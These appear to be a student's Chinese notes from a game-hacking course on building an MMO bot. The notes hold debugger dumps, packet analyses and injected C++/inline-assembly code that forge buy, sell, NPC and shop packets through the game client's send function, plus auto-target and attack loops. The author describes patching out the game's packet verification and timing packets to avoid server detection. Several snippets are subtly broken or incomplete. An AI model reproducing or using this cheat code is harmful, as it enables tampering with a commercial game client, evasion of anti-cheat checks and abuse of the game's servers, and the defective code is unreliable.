將售物功能再完善一下,讓其出售掉游戲中的垃圾物品,繼續修改一下代碼,將函數改成可以出售任何格,也就是說出售指定物品而不管其在哪個格. 再看一下出售的數量,我們設定為”金創葯(小)”這樣就將所有的金創葯全部出售.測試一下,剛買了5個葯,一下子全部出售了.換個格子到最后一格游戲出錯了,因為游戲中是36個包裹,而代碼中只找35個格所以要改動一下.改掉后測試成功.再測試一下其它的物品,也成功了.

但是這樣還是不方便控制,所以要加入一個EDIT文本框,然后遍歷物品再出售,這樣就形成真正的自動賣物了.弄完代碼之后,將金創葯和回城符一同就賣掉了,測試成功…這節課講完了…

啊不,還是有一個問題需要修正一下,還要將所有的功能集成在一個單元中,將幾行代碼做了一下改動,因為如果不改的話會出現一個問題引起游戲錯誤.

 

void CPAGE1::OnBUTTONSellGoods() 

char pname[256]; //CSting pname;

int i;

for (i=0;i<m_monlist_ctl.GetCount();i++)

{ m_monlist_ctl.GetText(i,pname);  m_monlist_ctl.GetText(i,pname.GetBuffer(22));

sellgoods(pname);//("金創葯(小)"); 

}

}

 

還有 sellgoods這個函數也改一下,也就是當遍歷完所有物品都沒有的話就返回-1.

 

再測試一下幾種物品,成功了,將代碼復制到教案中,好了本節課結束了.

 

 

 

參考:

//物品背包基址特征碼

XOR EDX,EDX  //上一行是 基址

MOV DL,BYTE PTR DS:[ESI+7]

MOV EBX,DWORD PTR DS:[EAX+EDX*4+3D8]

TEST EBX,EBX

MOV DWORD PTR SS:[EBP-10],EBX

////向上回溯出

MOV EAX,DWORD PTR DS:[ESI+1530]   

MOV ECX,DWORD PTR DS:[ESI+14F0]

LEA EBX,DWORD PTR DS:[ESI+14F0]

CMP ECX,EAX

 

 3.6.5、打開NPC購物/售物對話框

          1、打開NPC對話

          2、打開NPC(買進/賣出)窗口 

          3、封裝到int OpenNpc_buysell();測試   

 

 

1、普攻

2、買進/賣出 封包CALL

 

 

0053EA2E  |.  B9 000A0000   MOV ECX,0A00

0053EA33  |.  33C0          XOR EAX,EAX                              ;  0

0053EA35  |.  8DBD FED7FFFF LEA EDI,DWORD PTR SS:[EBP-2802]

0053EA3B  |.  66:C785 F8D7F>MOV WORD PTR SS:[EBP-2808],0

0053EA44  |.  F3:AB         REP STOS DWORD PTR ES:[EDI]              ;  [edi]-[edi+0A00*4] =0

0053EA46  |.  8B0D 503C5D01 MOV ECX,DWORD PTR DS:[15D3C50]

0053EA4C  |.  8D95 F8D7FFFF LEA EDX,DWORD PTR SS:[EBP-2808]

0053EA52  |.  83C6 02       ADD ESI,2

0053EA55  |.  898D 06D8FFFF MOV DWORD PTR SS:[EBP-27FA],ECX          ;  [15D3C50]

0053EA5B  |.  8B0D F8D75801 MOV ECX,DWORD PTR DS:[158D7F8]           ;  ECX

0053EA61  |.  6A 16         PUSH 16

0053EA63  |.  52            PUSH EDX                                 ;  封包內容

0053EA64  |.  66:C785 FAD7F>MOV WORD PTR SS:[EBP-2806],90

0053EA6D  |.  66:C785 FCD7F>MOV WORD PTR SS:[EBP-2804],10

0053EA76  |.  89B5 FED7FFFF MOV DWORD PTR SS:[EBP-2802],ESI          ;  ESI來源=3買進/賣出,4任務

0053EA7C  |.  E8 1FE8EFFF   CALL Client.0043D2A0                     ;  打NPC 購物/售物CALL

0053EA81  |.  C605 C8315D01>MOV BYTE PTR DS:[15D31C8],1

0053EA88  |.  5F            POP EDI

0053EA89  |>  5E            POP ESI

0053EA8A  |.  8BE5          MOV ESP,EBP

0053EA8C  |.  5D            POP EBP

0053EA8D  \.  C2 0400       RETN 4

 

 

封包數據分析

                          data+0x6= ESI

0012A4E0  00 00 90 00 10 00 03 00 00 00 00 00 00 00 03 00  //[15D3C50]=03

0012A4F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A500  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A510  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A520  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A530  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A540  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A550  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A560  00 00                                            ..

 

+2=0x90

+5=0x10

+7=ESI

+0x0E=[0x15D3C50]

 

MOV ECX,0x5C5AC28

mov ecx,[ecx]

        mov eax,0x00460480

    call eax //打開選中NPC ,攻擊怪物(普通攻擊)

 

//初始化封包大小

byte OpenNpcData[0x0A00*4]={0,0,0x90,0,0x10,0,0x3,0,0,0,0,0,0,0,0x3,0};

//+2=0x90

//+5=0x10

//+7=ESI來源=3買進/賣出,4任務

//+0x0E=[0x15D3C50]

int OpenNpcFlag=1;

HWND mainHwnd;

VOID CALLBACK  OpenNpc_buysell_timproc(

  HWND hwnd,     // handle of window for timer messages

  UINT uMsg,     // WM_TIMER message

  UINT idEvent,  // timer identifier

  DWORD dwTime   // current system time

{  //普攻

if (OpenNpcFlag==1)

{

OpenNpcFlag++;

      BeatMon(); //sleep

  return;

}

if (OpenNpcFlag==2)

{ OpenNpcFlag++;

  

 //sleep

_asm

{

    mOV ECX,0x158D7F8  

   mov ecx,[ecx]

         PUSH 0x16

 lea edx,OpenNpcData

 mov eax,0x15D3C50

 mov eax,[eax]

 mov [edx+0x0e],eax

         PUSH EDX  

 mov eax,SendDataCall;//#define SendDataCall 0x0043D2A0

 CALL eax

}

return;

}

if (OpenNpcFlag>=3)

KillTimer(mainHwnd,1008);//關閉時間控制

OpenNpcFlag=1;

 return;

}

 

}

int OpenNpc_buysell()

{

::SetTimer(mainHwnd,1008,1000,OpenNpc_buysell_timproc);

return 1;

}

void CPAGE1::OnBUTTONOpenNpcsellbuy() 

{

//OpenNpc_buysell();

mainHwnd=this->m_hWnd;

OpenNpc_buysell();

}

 

//////////////////////////////////////////////////////

又是一節大長課60分鍾.老師的教案記的很詳細,我主要記錄一下過程.

買賣物品都是要打開NPC(商店),今天就來找一下如何打開NPC.

下bp WSASend,打開NPC時被斷下,返回上一級.因為選中NPC時只要點攻擊就可以打開選項菜單,這樣就不需要再分析封包了,我們直接點二級菜單來查找封包代碼.我們發現其中的數據非常少,就4個非0的數值……

4個數有3個是常數,剩下的一個是ESI的來源+7的偏移,ESI=3是打開NPC,ESI=4是任務.(匯編代碼在教案中)

然后新建一個按鈕用來打開NPC操作,在VC里寫好代碼之后測試一下,沒有成功,去掉了一個0x,又將int改成byte…這次打開正確了.因為這是打開二級菜單,所以還需要打開NPC,加入一個普攻的動作,當然還要加入一個選中NPC的功能.測試了一下發現需要點擊兩下按鈕,因為我們發包不能同時發送兩個封包,所以加入了一個SetTimer函數定時器來讓其隔一下再執行.又進行了代碼的編寫…測試一下游戲錯誤.將小錯誤再改一下這次正確了.

有的人喜歡用SEELP,這樣會將整個游戲都停止的,所以是不正確的,所以要用時間控制函數.

最近將寫好的代碼封裝在一個函數中int OpenNpc_buysell().

 

參考:

0053EA7C  |.  E8 1FE8EFFF   CALL Client.0043D2A0       

www.yjxsoft.com

 3.6.6、購物功能封包分析

          1、封包回溯,找未加密的封包

          2、確家關鍵CALL

          3、分析封包

          4、功能測試

  

0012A4DC  00 00 92 00 70 00 01 00 00 00 00 00 00 00 66 CA  

0012A4EC  9A 3B 08 00 00 00 00 00 00 00 00 00 00 00 00 00  .............

0012A4FC  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A50C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A51C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A52C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A53C  00                                               .

 

0012A4DC  00 00 92 00 70 00 01 00 00 00 00 00 00 00 68 CA  ..?p._.......h_

0012A4EC  9A 3B 05 00 00 00 00 00 00 00 00 00 00 00 00 00  ?_.............

 

 

0012A4DC  00 00 92 00 70 00 01 00 00 00 00 00 00 00 6E CA  ..?p._.......n_

0012A4EC  9A 3B 02 00 00 00 00 00 00 00 00 00 00 00 00 00  ?_.............

0012A4FC  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A50C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

 

 +0E; 0x3B9ACA6E //dwrod

 +12: 物品數量    //dword

 

byte BuyGoodData[0x1c*4]={00,00,0x92,00,0x70,00,01};

_asm

{

lea edx,BuyGoodData

mov eax, 0x3B9ACA65 //65金創葯小 ,68人參

mov [edx+0x0e],eax //購買的物品ID編號

mov eax,1          //購買物品數量

push 0x76

push edx

mov ecx,0x158D7F8  //MOV ECX,DWORD PTR DS:[158D7F8]

mov ecx,[ecx]

mov [edx+0x12],eax

}

 

 

 

 

0057CA89  |> \8B15 C0018204 MOV EDX,DWORD PTR DS:[48201C0]           ;  Case B of switch 0057C388

0057CA8F  |.  A1 C4018204   MOV EAX,DWORD PTR DS:[48201C4]

0057CA94  |.  8DB3 40160000 LEA ESI,DWORD PTR DS:[EBX+1640]

0057CA9A  |.  B9 1C000000   MOV ECX,1C                               ;  1C*4

0057CA9F  |.  8DBD FAD7FFFF LEA EDI,DWORD PTR SS:[EBP-2806]          ;  封包頭-6

0057CAA5  |.  66:C785 F6D7F>MOV WORD PTR SS:[EBP-280A],92

0057CAAE  |.  66:C785 F8D7F>MOV WORD PTR SS:[EBP-2808],70

0057CAB7  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>

0057CAB9  |.  8995 0ED8FFFF MOV DWORD PTR SS:[EBP-27F2],EDX          ;  000

0057CABF  |.  8985 12D8FFFF MOV DWORD PTR SS:[EBP-27EE],EAX          ;  000

0057CAC5  |.  C785 FAD7FFFF>MOV DWORD PTR SS:[EBP-2806],2

0057CACF  |>  6A 76         PUSH 76

0057CAD1  |>  8D8D F4D7FFFF LEA ECX,DWORD PTR SS:[EBP-280C]

0057CAD7  |.  51            PUSH ECX                                 ;  111111111

0057CAD8  |.  8B0D F8D75801 MOV ECX,DWORD PTR DS:[158D7F8]

0057CADE  |.  E8 BD07ECFF   CALL Client.0043D2A0                     ;  鼠標購買物品封包CALL

0057CAE3  |.  8BCB          MOV ECX,EBX

0057CAE5  |.  E8 C6C40000   CALL Client.00588FB0                     ;  destroy window

 

 

 

////////////////////////////////////////////////////

 

找出上節課的參考資料,找到前面找到的發包處下斷,然后購買物品,找出上級調用CALL,就是0057cadf call 0043d2a0這里,先找出封包的頭部,然后再找到尾部以確實封包大小.先找一下物品數量,找了一下沒找到,原來是下斷的時候下錯了,這次就找出了很簡單的封包數據,物品數量是+12,剩下的用常量就可以了,然后編寫好代碼(在教案中).寫好代碼后購買物品,一次只購買了一個.最后又將買物封包分析了一下.

 

 

 

參考:

 push 封包長度

 puhs 封包基址

0053EA7C  |.  E8 1FE8EFFF   CALL Client.0043D2A0     WSASend 上級  

www.yjxsoft.com

 3.7.1 開店封包分析

       a、店名分析

       b、封包參數分析

       c、為TAB選項卡2 添加內容

       d、不同CPP之間共享函數及變量的方法

       d、寫申請開店代碼測試 

 

灰色:00 00 CB 00 開店相關 固定封包

+4黑色:封包長度-6=店名長度+3

     15-6=9=6+3

     17-6=11=0X0B=8+3

+6青色:開店相關命令:申請開店=01,取消開店=04,確認開店=03,添加物品=02

+7:店名長度

+9:店名

     

Ctrl+Y 開店

第一個封包  //我的店鋪 word=2byte

0012A318  00 00 CB 00 0B 00 01 08 00 CE D2 B5 C4 B5 EA C6  ..?._.我的店_

0012A328  CC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ?..............

0012A338  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

 

第二個封包

 

0012A318  00 00 CB 00 09 00 01 06 00 41 42 43 44 45 46 00  ..?..__.ABCDEF.

0012A328  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0012A338  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

 

+9: // 店名 字符串 char *

void CPAGE2::OnBUTTONSetUpShop() 

{

// TODO: Add your control notification handler code here

// TODO: Add your control notification handler code here

byte ShopData[0x1c*4]={ 00,00,0xCB,00};

ShopData[6]=1; //表示開店

// 郁金香灬店鋪

char* shopname="郁金香灬店鋪";

strcpy((char*)&ShopData[9],shopname);

ShopData[7]=strlen(shopname);

ShopData[4]=ShopData[7]+3; //

int datasize=ShopData[4]+6;//封包大小

 

_asm

{

lea edx,ShopData

mov eax, datasize

push eax

push edx

mov ecx,0x158D7F8  //MOV ECX,DWORD PTR DS:[158D7F8]

mov ecx,[ecx] 

mov eax,SendDataCall

call eax

}

}

 

 

關閉店鋪/取消開店

第一次取消開店封包

0012A31C  00 00 CB 00 01 00 04 00 00 00 00 00 00 00 00 00  ..?_._.........

第一次關閉店鋪封包

0012A31C  00 00 CB 00 01 00 04 00 00 00 00 00 00 00 00 00  ..?_._.........

 

確認開店

0012A31C  00 00 CB 00 01 00 03 00 00 00 00 00 00 00 00 00  ..?_._.........

 

00127C24  00 00 CB 00 51 00 02 65 CA 9A 3B A0 9C 23 88 2B  ..?Q._e蕷;牅#?

00127C34  0A D9 18 07 00 01 00 57 04 00 00 00 00 00 00 00  07是出售物品 數量 5704 是價格

00127C44  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

 

 

 

 

 

 

 

 

 

 

 

開店發包 特征碼

006252B8  |> \66:8B45 0C    MOV AX,WORD PTR SS:[EBP+C]

006252BC  |.  8DBD 75D7FFFF LEA EDI,DWORD PTR SS:[EBP-288B]

006252C2  |.  66:8985 73D7F>MOV WORD PTR SS:[EBP-288D],AX

006252C9  |.  C745 FC FFFFF>MOV DWORD PTR SS:[EBP-4],-1

006252D0  |.  0FBFC0        MOVSX EAX,AX

006252D3  |.  8BC8          MOV ECX,EAX

006252D5  |.  8BD1          MOV EDX,ECX

006252D7  |.  C1E9 02       SHR ECX,2

006252DA  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]

006252DC  |.  8BCA          MOV ECX,EDX

006252DE  |.  83E1 03       AND ECX,3

006252E1  |.  F3:A4         REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]

006252E3  |.  8D4D 08       LEA ECX,DWORD PTR SS:[EBP+8]

006252E6  |.  8D70 03       LEA ESI,DWORD PTR DS:[EAX+3]

006252E9  |.  E8 82910300   CALL Client.0065E470

006252EE  |>  8B0D F8D75801 MOV ECX,DWORD PTR DS:[158D7F8]                    ;  Default case of switch 00625197

006252F4  |.  66:89B5 70D7F>MOV WORD PTR SS:[EBP-2890],SI

006252FB  |.  83C6 06       ADD ESI,6                                         ;  0D

006252FE  |.  8D85 6CD7FFFF LEA EAX,DWORD PTR SS:[EBP-2894]

00625304  |.  56            PUSH ESI                                          ;  封包 大小 字節數  0x11

00625305  |.  50            PUSH EAX

00625306  |.  E8 957FE1FF   CALL Client.0043D2A0                              ;  鼠標開店 請求

0062530B  |.  C605 D03F8204>MOV BYTE PTR DS:[4823FD0],1

00625312  |>  8B4D F4       MOV ECX,DWORD PTR SS:[EBP-C]

00625315  |.  5F            POP EDI

00625316  |.  5E            POP ESI

00625317  |.  64:890D 00000>MOV DWORD PTR FS:[0],ECX

0062531E  |.  8BE5          MOV ESP,EBP

00625320  |.  5D            POP EBP

00625321  \.  C3            RETN

 

 

 

////////////////////////////////////////////////////////

 

今天要找的是開店的封包,我們下斷之后發現馬上斷下,發現游戲中有關於發包的驗證,修改代碼跳過驗證,這樣再發送開店封包的時候就找到了正確的發送處,返回上一級CALL進行分析.開店可以通過快捷鍵,還可以點擊開店動作,我們這里用鼠標進行開店.經過分析發現了開店名字的封包數據.再試驗一下關閉店鋪的封包,發現這兩組數據基本一樣,經過分析,發現第7個代碼就是開店和關店的命令.正在分析的時候游戲自動關閉了,可能是我們修改了發包驗證造成的.分析一下第5個和第6個代碼,是與封包長度有關的,開店的時候要加入店名,關閉的時候則沒有店名.再將開店物品看一下,確定了出售物品的價格/類型.

 

打開VC,在PAGE2中添加”申請開店”按鈕,確定新建類,再將頭文件修改一下,然后在PAGE2.CPP中添加代碼(在教案中).在編寫代碼過程中發現了有關全局變量的問題,將整個全局變量定義到WGForm.cpp中,再復制到GameProc.h中,又發現了F1-F10的錯誤……可以運行了

又看到封包中兩次08和06的值,這個經過分析是店名的長度.然后又寫好郁金香的店名,測試一下,恰好”郁金香”的店鋪已經開啟了.

 

 

隨筆:老師的教案做的真詳細啊,我也只好寫一下課程的過程了.

3.7.2 開店封包(掛店物品分析)

       a、分析封包

       b、出售物品的封包格式分析

       c、封包數據來源

       d、寫代碼測試

 背包數組 dd [[482204C]+4*4+3d8]+0x4c

//金創葯小 單價88888兩 出售數量7個 在背包里位置是1

00127C24  00 00 CB 00 51 00 02 65 CA 9A 3B A0 9C 23 88 2B  ..?Q._e蕷;牅#?

00127C34  0A D9 18 07 00 01 00 38 90 0D 00 00 00 00 00 00  .? ._.8?......

00127C44  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

//第四格 回城符

$ ==>    >00 00 CB 00 51 00 02 6E CA 9A 3B AB FB 25 B0 1D  ..?Q._n蕷;%?

$+10     >EC 58 18 03 00 04 00 67 2B 00 00 00 00 00 00 00  靀__._.g+.......

$+20     >00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

$+30     >00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

$+40     >00    

2729AC64  6E CA 9A 3B AB FB 25 B0 1D EC 58 18              n蕷;%?靀_回城

                                           .

 

 

//背包第1格

$ ==>    >68 A6 84 00 00 00 00 00 1A 00 00 00 EA 0D 00 00  h....._...?..

$+10     >0E 00 00 00 FF FF FF FF 00 00 00 00 01 00 00 00  _......._...

$+20     >00 00 00 00 00 00 00 00 52 00 00 00 FF 00 00 00  ........R......

$+30     >20 00 00 00 20 00 00 00 78 6B 44 0E 7C 6B 44 0E   ... ...xkD_|kD_

$+40     >00 00 00 00 00 00 00 00 00 00 00 00 65 CA 9A 3B  ............e蕷;

$+50     >A0 9C 23 88 2B 0A D9 18 BD F0 B4 B4 D2 A9 28 D0  牅#?.?金創葯(_

$+60     >A1 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ?..............

 

 

藍色的 封包+0x7=背包+0x4C // 12字節 物品分類編號 服務器

紫色的 0x13= //word 出售物品數量

綠色的 0x15= //byte 表示物品在背包里邊的下標(格數)0-35

灰色   0x17=//dword 單價

 

byte addsellData[0x52]={00,00,0xCB,0x00,0x51,0x00,0x02,0};

strcpy((char*)&addsellData[7],goodsBase_4C);//復制長度為7

 

 

 

 

 

void CPAGE2::OnButton() 

{

// TODO: Add your control notification handler code here

//藍色的 封包+0x7=背包+0x4C // 12字節 物品分類編號 服務器

//紫色的 0x13= //word 出售物品數量

//綠色的 0x15= //byte 表示物品在背包里邊的下標(格數)0-35

//灰色   0x17=//dword 單價

int goodsBase1_4C,goodsBase3_4C; //[[482204C]+0*4+3d8]+0x4c

_asm

{

mov ecx,GoodsBase

mov ecx,[ecx]

add ecx,0

add ecx,0x3d8

mov ecx,[ecx]

    add ecx,0x4c

mov goodsBase1_4C,ecx //第1格物品

}

 

_asm

{

mov ecx,GoodsBase

mov ecx,[ecx]

add ecx,8 //第三格 下標2*4

add ecx,0x3d8

mov ecx,[ecx]

    add ecx,0x4c

mov goodsBase3_4C,ecx //第1格物品

}

 

//

byte addsellData[0x52]={00,00,0xCB,0x00,0x51,0x00,0x02,0};//封包前幾字節

memcpy((void*)&addsellData[7],(void*)goodsBase1_4C,12);//復制店名

addsellData[0x13]=7;//出售數量

addsellData[0x15]=0; //出售格數

addsellData[0x17]=0xFF;//下標格數

addsellData[0x18]=0xFF; //寫入錢數

_asm

{

push 0x57

lea edx,addsellData

push edx

mov eax, SendDataCall

MOV ECX,0x158D7F8

mov ecx,[ecx]

call eax

}

//測試連續物品

Sleep(200);//設置間隔時間

memcpy((void*)&addsellData[7],(void*)goodsBase3_4C,12);

addsellData[0x13]=7;//數量

addsellData[0x15]=2; //出售格數

addsellData[0x17]=0xFF; //下標格數

addsellData[0x18]=0xFF; //65535

_asm

{

push 0x57

lea edx,addsellData

push edx

mov eax, SendDataCall

MOV ECX,0x158D7F8

mov ecx,[ecx]

call eax

}

// 確認開店

Sleep(200);

byte sellok[16]={ 00, 00, 0xCB, 00, 01, 00 ,03 };

_asm

{

push 0x10

lea edx,sellok

push edx

mov eax, SendDataCall

MOV ECX,0x158D7F8

mov ecx,[ecx]

call eax

}

}

 

 

 

//////////////////////////////////////////////

繼續上節課的開店封包,再弄兩個物品測試開店,當然首先還是要繼續分析封名中的數據,包括物品的背包,數量,名字等 ,老師分析的相當的詳細,筆記也不好記還是需要仔細看視頻.封包的數據查找和分析我感覺比找基址難,因為數據相對多……

可以寫代碼了,前面7個字節是常量可以直接定義…在PAGE2中添加”出售1和3格物品進行測試

先測試一下出售第一格物品(代碼在前面教案中),出錯了,是有一個參數未寫上…再測試一下可以了.如果是要添加多個物品應該怎么樣呢?我們寫一下代碼來測試一下,確實好使了,這就是封包的特別,因為連續向服務器發送數據也接受了.再將確認開店功能也加進去,已經可以將1格3格及自動確認了,為了避免時間太快被服務器檢測到,確實可以用SEELP函數了.而平時直接調用CALL則是游戲自己調用的不必用間隔函數了.

 

 

小結:進階篇的學完了,突出的內容當然是封包教程,發送封包給我的感覺跟調用CALL有很多類似的地方,但卻又不完全相同,封包也是通過調用CALL,但在調用CALL之前的參數很多,而真正調用的CALL就比較少;普通的調用CALL應該是在被斷下后返回多次,至少比封包的要多,在游戲的內層,封包相對在外層.那么到底是封包方便還是直接CALL方便呢?這就要看游戲的更新程度了,如果總不更新而且調用CALL也簡單那就直接CALL,如果更新很多,可能封包更方便一些,因為有的時候游戲更新了封包中的數據也不一定全更新,我是這樣理解的不知道對不對.

 

 

4.0.1、窗口界面整理

           a、常規選項卡

           b、保護選項卡

           c、撿物選項卡

           d、喊話選項卡          

 

257*142

 

 //定義窗口大小 

   RECT r1;

    GetDlgItem(IDC_TABMAIN)->GetClientRect(&r1); //獲取 TAB選項卡 窗口矩形區域

      r1.top=28;

r1.bottom-=2;

r1.right-=2;

 

 

 

///////////////////////////////////////////////////////////

 

窗口界面是需要調整的,本節課就是要調整的好看一些,新寫了一個程序模擬原程序在此進行界面調整.先進行一下窗口的調整,看右下角的窗口大小值,去掉原來的窗口設置代碼,PAGE1的選項卡以前是調整好的,現在獲取過來,做測試用的按鈕已經不需要了,但是也不能刪除因為關聯到變量,所以就放在窗口外面隱藏起來.

主界面調整差不多了,再在各個選項卡中添加幾個控件,然后在下面添加”開啟掛機”和”關閉掛機”按鈕.

 

 

 

 

void CWGForm::OnBUTTONusegoods() 

{

// TODO: Add your control notification handler code here

 

}

 

BOOL CWGForm::OnInitDialog() 

{

CDialog::OnInitDialog();

 

// TODO: Add extra initialization here

m_tabmain.InsertItem(1,"常規");

m_tabmain.InsertItem(2,"保護");

m_tabmain.InsertItem(3,"撿物");

m_tabmain.InsertItem(4,"喊話");

m_tabmain.InsertItem(5,"輔助");

//創建頁面窗口

  

page1.Create(IDD_PAG1,GetDlgItem(IDC_TABMAIN));

page2.Create(IDD_PAG2,GetDlgItem(IDC_TABMAIN));

page3.Create(IDD_PAG3,GetDlgItem(IDC_TABMAIN));

page4.Create(IDD_PAG4,GetDlgItem(IDC_TABMAIN));

page5.Create(IDD_PAG5,GetDlgItem(IDC_TABMAIN));

 

   //設置父窗口

  

page1.SetParent(GetDlgItem(IDC_TABMAIN));

page2.SetParent(GetDlgItem(IDC_TABMAIN));

page3.SetParent(GetDlgItem(IDC_TABMAIN));

page4.SetParent(GetDlgItem(IDC_TABMAIN));

page5.SetParent(GetDlgItem(IDC_TABMAIN));

//定義窗口大小 

   RECT r1;

    GetDlgItem(IDC_TABMAIN)->GetClientRect(&r1);

    r1.top=28;

r1.bottom-=2;

r1.right-=2;

 

 

//設置窗口位置

  page1.MoveWindow(&r1);

  page2.MoveWindow(&r1);

  page3.MoveWindow(&r1);

  page4.MoveWindow(&r1);

  page5.MoveWindow(&r1);

 

  //默認 page1

page1.ShowWindow(true);

 

return TRUE;  // return TRUE unless you set the focus to a control

              // EXCEPTION: OCX Property Pages should return FALSE

}

 

void CWGForm::OnSelchangeTabmain(NMHDR* pNMHDR, LRESULT* pResult) 

{

// TODO: Add your control notification handler code here

switch(m_tabmain.GetCurSel())

{

case 0:

{

page1.ShowWindow(true);//顯示

page2.ShowWindow(false);

page3.ShowWindow(false);

page4.ShowWindow(false);

page5.ShowWindow(false);

  

break;

}

case 1:

 {

page1.ShowWindow(false);

page2.ShowWindow(true);//顯示

page3.ShowWindow(false);

page4.ShowWindow(false);

page5.ShowWindow(false);

  break;

 }

case 2:

 {

page1.ShowWindow(false);

page2.ShowWindow(false);

page3.ShowWindow(true);//顯示

page4.ShowWindow(false);

page5.ShowWindow(false);

  break;

 }

case 3:

 {

page1.ShowWindow(false);

page2.ShowWindow(false);

page3.ShowWindow(false);

page4.ShowWindow(true);//顯示

page5.ShowWindow(false);

  break;

 }

  case 4:

 {

page1.ShowWindow(false);

page2.ShowWindow(false);

page3.ShowWindow(false);

page4.ShowWindow(false);

page5.ShowWindow(true);//顯示

  break;

 }

default:

{

break;

}

}

*pResult = 0;

}

 

 

 

最終界面如下:

 

 

 

 

 

 

 

4.0.2、常規選項卡-自動打怪函數構建

           a、關聯變量

           b、選怪函數優化

           c、共享變量 extern

           d、算法設計

           e、功能測試

//更新基址如下

 //////////常量定義區域////////////////////

const int  CurRoleBase     =  0x5C5AC28 ;   //當前角色基址

 

const int  CurListBase     =  0x5C54CE8 ;   //所有對象列表基址

const int  SendDataCall    =  0x0043D2A0;   //發包CALL

const int  BeatMonCall     =  0x00460490;   //普攻打怪CALL

const int  PickGoodsCall   =  0x00460690;   //撿物動作CALL

const int  F1_F10Call      =  0x005EF190;   //F1_F10技能欄CALL

const int  F1_F10ECX       =  0x15AFE60 ;   //F1_F10技能欄ECX

 

const int GoodsBase        =  0x482204C ;   //物品背包數組基址 

const int UseGoodsCallBase =  0x005844E0;   //物品使用CALL 基址 

--------------------------------關聯變量------------------------------------------

IDC_CHECK_AUTOBEATMON  m_ck_bAutoBeatMon//BOOL

IDC_CHECK_AUTOSELMON   m_ck_bAutoSelMon //BOOL

IDC_CHECK_LIMITAREA    m_ck_bLimitArea  //BOOL

IDC_COMBO_SKILL_LIST   m_combo_Skill_List //CComboBox

IDC_EDIT_AREA          m_edt_fAreaLimit   //float

---------------------------------------------------------------------------------

 

 

void SelMon(float area,BOOL LimitFlag) //選怪功能

{// TODO: Add your control notification handler code here

//遍歷 [i*4+CurListBase] 數組

//+8 :有可能是對象分類 怪是2E 

//+C :數組下標

//+31C:到當前玩家距離

//+380:怪死亡 <>0

int* b8,*bc,*b380,*b60c,*p1530;

float *b31c;

int* pb,*p2;

for (int i=CurListBase;i<(CurListBase+0x0FFF*4);i+=4)//每次增加4字節

{ pb=(int*)i;

  b8=(int*)(*pb+0x8);

  bc=(int*)(*pb+0xc);

  b31c=(float*)(*pb+0x31c);

  b380=(int*)(*pb+0x380);

  b60c=(int*)(*pb+0x60C);

  

//if (([ecx+8]==0x2E )&&([ecx++0x31C]<=100)&&([ecx+380]==0))

  p1530=(int*)CurRoleBase;

 p1530=(int*)(*p1530+0x1530);

bool ft;

 

if (LimitFlag) {ft=*b31c<=area;} else {ft=true;} //范圍限制

if ((*b8==0x2E )&&ft&&(*b380==0)) //b31c 怪與人物距離判斷

{  

//區分NPC ,如果是NPC 則繼續 遍歷下一個 60C<>0表示是怪物 //+60C是怪物等級>3

if (*b60c==0){continue;}

//選怪[[CurRoleBase]+1530 ]=*bc;優化改進 顯示怪血條

p2=pb;

 

//顯示血條,設置怪選中狀態

//selmonbase怪對象基址

int selmonbase=*p2;

if (*p1530==0xFFFF) { 

_asm

{

 mov edi,selmonbase

 mov eax,[edi]

 push 0

 push 1

 push 0x44c

 mov ecx,edi

 mov eax,[eax+4]

 call eax  

  p1530=(int*)CurRoleBase;

 p1530=(int*)(*p1530+0x1530);

    *p1530=*bc;//寫入下標

 

return ;

} //end if

} // end if

}//end for

}

-------------------------------------------------------------------------------------

-------------------------------------------------------------------------------------

 

VOID CALLBACK AutoBeatMon_Callback(

  HWND hwnd,     // handle of window for timer messages

  UINT uMsg,     // WM_TIMER message

  UINT idEvent,  // timer identifier

  DWORD dwTime   // current system time

)

{

  switch(page1.m_combo_skill_list.GetCurSel()) 

  {

 

  case 0: { BeatMon();break;}

   }

  F1_F10(page1.m_combo_skill_list.GetCurSel());

}

 

VOID CALLBACK AutoSelMon_Callback(

  HWND hwnd,     // handle of window for timer messages

  UINT uMsg,     // WM_TIMER message

  UINT idEvent,  // timer identifier

  DWORD dwTime   // current system time

)

{

SelMon(page1.m_edt_fAreaLimit,page1.m_ck_bLimitArea);

}

 

 

////////////////////////////////////////////////////////////////////

 

將上節課中的空界面添加控制代碼,自動選怪/自動打怪/掛機范圍/技能選擇/開始掛機等功能,

還有需要建立新的類/加入相應的頭文件,繼續關聯變量,將技能選擇里添加功能鍵,再設置默認的功能鍵和復選框的選中:

 

CPAGE1::CPAGE1(CWnd* pParent /*=NULL*/)

: CDialog(CPAGE1::IDD, pParent)

{

//{{AFX_DATA_INIT(CPAGE1)

m_fr = 0.0f;

m_goodname = _T("");

m_ck_bAutoBeatMon = TRUE; //默認選中

m_ck_bAutoSelMon = TRUE; //默認選中

m_ck_bLimitArea = TRUE;//默認選中

m_edt_fAreaLimit = 110.0f;//范圍110

//}}AFX_DATA_INIT

}

 

 

//設置開始掛機的代碼

 

void CWGForm::OnButtonBegin() 

{

